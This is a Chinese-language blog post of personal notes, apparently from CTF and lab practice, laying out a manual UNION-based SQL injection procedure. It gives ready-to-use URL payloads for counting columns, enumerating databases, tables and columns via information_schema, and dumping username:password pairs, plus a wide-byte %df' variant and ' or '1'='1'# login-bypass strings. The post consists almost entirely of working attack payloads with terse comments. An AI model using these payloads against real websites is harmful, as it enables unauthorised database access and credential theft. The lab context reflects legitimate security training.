union联合注入

一、手工注入命令顺序

例一

方式一

http://219.153.49.228:48120/new_list.php?id=1
首先尝试id=1' and 1=1-- - 或者id=1" and 1=1-- - 或者1") and 1=1-- - 或者 1 and 1=1-- -(-- -注释符,#,/* */)

假如是id=1' and 1=1-- - 那么and 1=1 就是我们可控的点 接下来在这个位置进行替换就好
?id=1' order by 4-- - 判断字段个数,从order by 1 开始尝试
?id=-1' union select 1,2,3,4-- - (让id查询不到 显示我们的union select的值 且union select 后的数字遵循order by 判断的值)
?id=-1 union select 1,database(),3,4-- -  (查询当前数据库)
?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- -   (注入出表名)
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="StormGroup_member"-- -(注入出列名,""中需要注入的列名称)
?id=-1 union select 1,group_concat(name,0x3a,password),3,4 from StormGroup_member-- -(注入出字段值,from后接的是上步注入的列)

方式二

?id=1%df’(测试是否存在注入,报错则存在)
?id=1%df’-- -(注释后面多余的’limit 0,1 页面正常)
?id=1%df’order by n-- -(order测试字段长度,报错则说明超出最大长度)
?id=-1%df’union select 1,2,3-- -
?id=-1%df’union select 1,2,database()-- -(在页面回显出当前的数据库名字)
?id=-1%df’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出当前数据库的所有表)
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' -- -(爆出目标表的列名)
?id=-1%df' union select 1,2,group_concat(username,0x3a,password) from users-- -(爆出目标列的字段名字)

注意:hackbar操作注入,get头在url中改,post头在post data中改。

 

 

 

 

例二

http://a4a6c287-5c1c-4644-bdf0-24a4b967f959.node3.buuoj.cn/check.php?username=1&password=1
首先尝试id=1' and 1=1-- - 或者id=1" and 1=1-- - 或者1") and 1=1-- - 或者 1 and 1=1-- -

假如是id=1' and 1=1-- - 那么and 1=1 就是我们可控的点 接下来在这个位置进行替换就好
?username=1'order by 3-- -&password=1 判断字段个数

让id查询不到 显示我们的union select的值 且union select 后的数字遵循order by 判断的值

p?username=1' union select 1,2,3-- -&password=1

查询当前数据库
?username=1' union select 1,database(),3-- -&password=1
?username=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -&password=1(注入出表名)
?username=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="l0ve1ysq1"-- -&password=1(注入出列名)
?username=1' union select 1,group_concat(username,0x3a,password),3 from l0ve1ysq1-- -&password=1(注入出字段值)

 二、万能密码

' or '1'='1'#

例一

1、初始界面

 2、点击Submit

3、有username、password出现

 例二

username='+or+'1'='1'#&password='+or+'1'='1'#

 

让id查询不到 显示我们的union select的值 且union select 后的数字遵循order by 判断的值
posted @ 2021-02-23 13:50  奔跑的snail  阅读(607)  评论(0编辑  收藏  举报